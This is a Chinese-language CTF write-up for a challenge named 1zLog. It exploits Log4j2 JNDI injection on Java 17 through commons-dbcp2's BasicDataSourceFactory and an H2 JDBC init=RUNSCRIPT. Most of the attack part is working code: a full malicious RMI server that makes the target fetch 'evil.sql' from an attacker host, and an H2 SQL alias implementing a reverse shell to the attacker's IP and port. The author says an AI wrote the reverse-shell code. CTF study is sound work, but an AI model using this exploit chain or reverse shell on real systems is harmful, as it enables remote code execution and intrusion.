Springctf 1zLog

题目名称是1zlog,大概率是和log4j2有关,关于log4j2,它是java日志记录框架,漏洞的主要成因就是log4j2会将${}里的内容单独处理,也就是去调用lookup进行查找,这时就会产生jndi注入。
先把jar包放到jadx或者jd-gui里,反编译一下,进行代码审计。
image.png
这里便是利用点。
既然是jndi注入又是高版本java17,我的第一想法是看看是不是用tomcat起的服务,这样的话,能不能用BeanFactory打一波
image.png
很显然不是
这时候我们需要去看一下依赖包有哪些,有哪些可以利用的东西。
image.png
有两个很可疑的依赖包。
主要利用就看这篇文章就好
JDBC Attack与高版本JDK下的JNDI Bypass – 奇安信技术研究院
主要就是利用BasicDataSourceFactory远程加载sql语句,执行命令。
image.png
然后我们就开始写exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import com.sun.jndi.rmi.registry.ReferenceWrapper;  

import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.sql.Ref;

public class JNDIserve {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
//强制设置RMI服务端暴露公网ip
System.setProperty("java.rmi.server.hostname","ip");
//创建注册中心
Registry registry = LocateRegistry.createRegistry(1099);

//写引用
//利用的本地工厂是BasicDataSourceFactory
Reference ref = new Reference("javax.sql.DataSource","org.apache.commons.dbcp2.BasicDataSourceFactory",null);

//我们要加载的sql语句
String url = "http://ip:8888/evil.sql";
//定义数据库的连接,从url中下载可以执行的脚本
String JDBC_URL = "jdbc:h2:mem:test;MODE=MSSQLServer;init=RUNSCRIPT FROM '" + url + "'";
//填充 Reference 属性
ref.add(new StringRefAddr("driverClassName", "org.h2.Driver"));
ref.add(new StringRefAddr("url", JDBC_URL));
ref.add(new StringRefAddr("username", "root"));
ref.add(new StringRefAddr("password", "password"));
ref.add(new StringRefAddr("initialSize", "1"));
//实现remote接口
ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);

//bind到注册中心
registry.bind("Exploit",referenceWrapper);




}
}

本地执行,生成class文件放到,vps下。
image.png
执行

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
-- 清理旧别名
DROP ALIAS IF EXISTS SHELL;

-- 创建一个新的恶意函数,这次我们在 Java 内部实现反弹 Shell 逻辑
CREATE ALIAS SHELL AS $$
import java.io.*;
import java.net.*;
import java.util.*;

@CODE
String shell(String ip, int port) throws Exception {
// 1. 启动 /bin/sh 进程 (因为没有 bash)
String[] cmd = {"/bin/sh"};
Process p = new ProcessBuilder(cmd).redirectErrorStream(true).start();

// 2. 连接攻击者的监听端口
Socket s = new Socket(ip, port);

// 3. 对接输入输出流 (实现管道)
InputStream pi = p.getInputStream(), si = s.getInputStream();
OutputStream po = p.getOutputStream(), so = s.getOutputStream();

// 4. 循环转发数据
while(!s.isClosed()) {
while(pi.available() > 0) so.write(pi.read());
while(si.available() > 0) po.write(si.read());
so.flush();
po.flush();
Thread.sleep(50);
try {
p.exitValue();
break;
} catch (Exception e) {}
}
p.destroy();
s.close();
return "Connected";
}
$$;

-- 调用函数,填入你的公网 IP 和监听端口
CALL SHELL('ip', 9999);

用sh执行反弹shell,让ai写了个反弹shell的sql代码
用python开个服务
image.png
image.png
发包
image.png

拿到flag